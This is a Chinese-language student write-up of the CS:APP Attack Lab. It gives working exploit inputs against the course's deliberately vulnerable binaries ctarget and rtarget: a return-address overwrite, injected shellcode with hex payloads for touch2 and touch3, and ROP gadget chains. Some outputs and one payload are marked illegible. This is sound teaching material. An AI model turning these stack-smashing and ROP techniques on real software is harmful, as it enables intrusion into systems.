

## lab 步骤

1. 阅读 `attacklab.pdf`，了解 `lab` 需要解决的问题
2. 运行 `ctarget`，随便尝试输入，观察大概的输出
3. 利用 `objdump` 反汇编 `ctarget`，重点阅读 `getbuf` 和 `test` 函数的汇编语句
4. 根据汇编代码发现当输入长度大于 `0x28` 时会覆盖返回地址，故只需将返回地址覆盖成

touch1 函数地址，即 0x4017c0，即可使程序跳转到 touch1 执行。综上，可得十六进制形式输入字符串：

[illegible]

输入后程序输出为：

[illegible]

5. 查看 `cookie.txt`，根据 `attacklab.pdf` 要求，得知跳转 `touch2` 之前需要修改寄存器 `rdi` 的值。经过考虑，可以在输入的字符串中插入相关逻辑，并覆盖返回地址到相关逻辑起始地址。综上，编写汇编代码如下：

```
1  movq $0x59b997fa, %rdi #set cookie value
2  pushq $0x4017ec        #<touch2>
3  retq
```

转化成十六进制数值如下:

```
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59    mov     $0x59b997fa,%rdi
7: 68 ec 17 40 00          pushq   $0x4017ec
c: c3                     retq
```

再利用 **gdb** 加断点，查找输入字符串保存起始地址：

```
(gdb) p $rsp
$1 = (void *) 0x5561dc78
(gdb)
```

综上, 可得十六进制形式输入字符串:

```

00000000  48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 01 01 01 01
00000010  01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
00000020  01 01 01 01 01 01 01 01 78 DC 61 55 00 00 00 00
00000030  0A

```

输入后程序输出为：

[illegible]

6. 根据 `attacklab.pdf` 要求，得知跳转 `touch3` 之前需要修改寄存器 `rdi` 的值指向对应 `cookie` 值的字符串，且需要保证注入的字符串不被其他函数的调用栈破坏。经过考虑，可以在输入的字符串中插入寄存器 `rdi` 修改逻辑，将注入的字符串保存在 `test` 函数栈中，并覆盖返回地址到相关逻辑起始地址。

首先对照 ASCII 码表，得到 cookie 数值的字符串十六进制表示如下：

```
0x59b997fa
35 39 62 39 39 37 66 61 00
```

根据 x86 体系结构栈的特点，cookie 串应为输入字符串最后，综合先前查到的字符串保存起始地址，可推算 cookie 串起始地址为 0x5561dca8。综上，可编写汇编逻辑代码如下：

```
movq $0x5561dca8, %rdi #set compare string to inserted cookie value
pushq $0x4018fa        #<touch3>
retq
```

转化成十六进制数值如下:

```
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55    mov     $0x5561dca8,%rdi
7: 68 fa 18 40 00          pushq   $0x4018fa
c: c3                     retq
```

综上, 可得十六进制形式输入字符串:

	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	0F
00000000	48	C7	C7	A8	DC	61	55	68	FA	18	40	00	C3	00	00	00
00000010	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
00000020	00	00	00	00	00	00	00	00	78	DC	61	55	00	00	00	00
00000030	35	39	62	39	39	37	66	61	0A							

输入后程序输出为：

[illegible]

7. 类似 `ctarget`，利用 `objdump` 反汇编 `rtarget`，阅读相关区域代码

8. 根据 `attacklab.pdf` 要求，考虑利用 ROP 方法跳转到 `touch2`，且要保证 `rdi` 寄存器的值应为 `cookie`。

9. 综上，可以考虑直接覆盖栈中内容为相应的数值，再利用 `pop` 与 `mov` 指令完成寄存器的赋值，最后利用 `ret` 指令跳转到 `touch2` 中。

查找 `rtarget` 中 `farm` 部分 `gadget` 汇编与 `attacklab` 中表，发现有 `addval_219` 可实现 `pop %rax, setval_426` 可实现 `movq %rax, %rdi`。这样，可以利用上述 `gadget` 构建业务逻辑如下：

pop %rax

0x59b997fa

```
mov %rax, %rdi
```

## 实现 rdi 寄存器的赋值

综合 ROP 编程原理，得到十六进制形式输入字符串为：

Hex	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	0F
00000000	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
00000010	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
00000020	00	00	00	00	00	00	00	AB	19	40	00	00	00	00	00	00
00000030	FA	97	B9	59	00	00	00	C5	19	40	00	00	00	00	00	00
00000040	EC	17	40	00	00	00	00	0A								

输入 `rtaget`, 结果为:

[illegible]

10. 阅读 [attacklab.pdf](#) 知，需要综合步骤 9 与步骤 6 相关方法，在栈中保存 cookie 值的同时利用 **gadget** 完成 **rdi** 寄存器的赋值。查阅 **farm** 中函数的汇编与 [attacklab.pdf](#) 中表格，最终可得到利用 **gadget** 实现的业务如下：

mov %rsp, %rax	<addval_190> +3	401a03 +3	401a06
mov %rax, %rdi	<addval_273> +2	4019a0 +2	4019a2
pop %rax	<addval_219> +4	4019a7 +4	4019ab
8*(10-1)	<\$shift_imm>	0x48	48
mov %rax, %rdx	<getval_481> +2	4019db +2	4019dd
mov %edx, %ecx	<getval_159> +1	401a33 +1	401a34
mov %ecx, %esi	<addval_436> +2	401a11 +2	401a13
\$rax = %rdi + %rsi	<add_xy>	4019d6	4019d6
mov %rax, %rdi	<addval_273> +2	4019a0 +2	4019a2
0x4018fa	<touch3>	4018fa	4018fa
35 39 62 39 39 37 66 61 00	<\$cookie>	...	

综合 ROP 编程原理，得到十六进制形式输入字符串为：

[illegible]

输入 `rtaget`, 结果为:

[illegible]

## 11.完成实验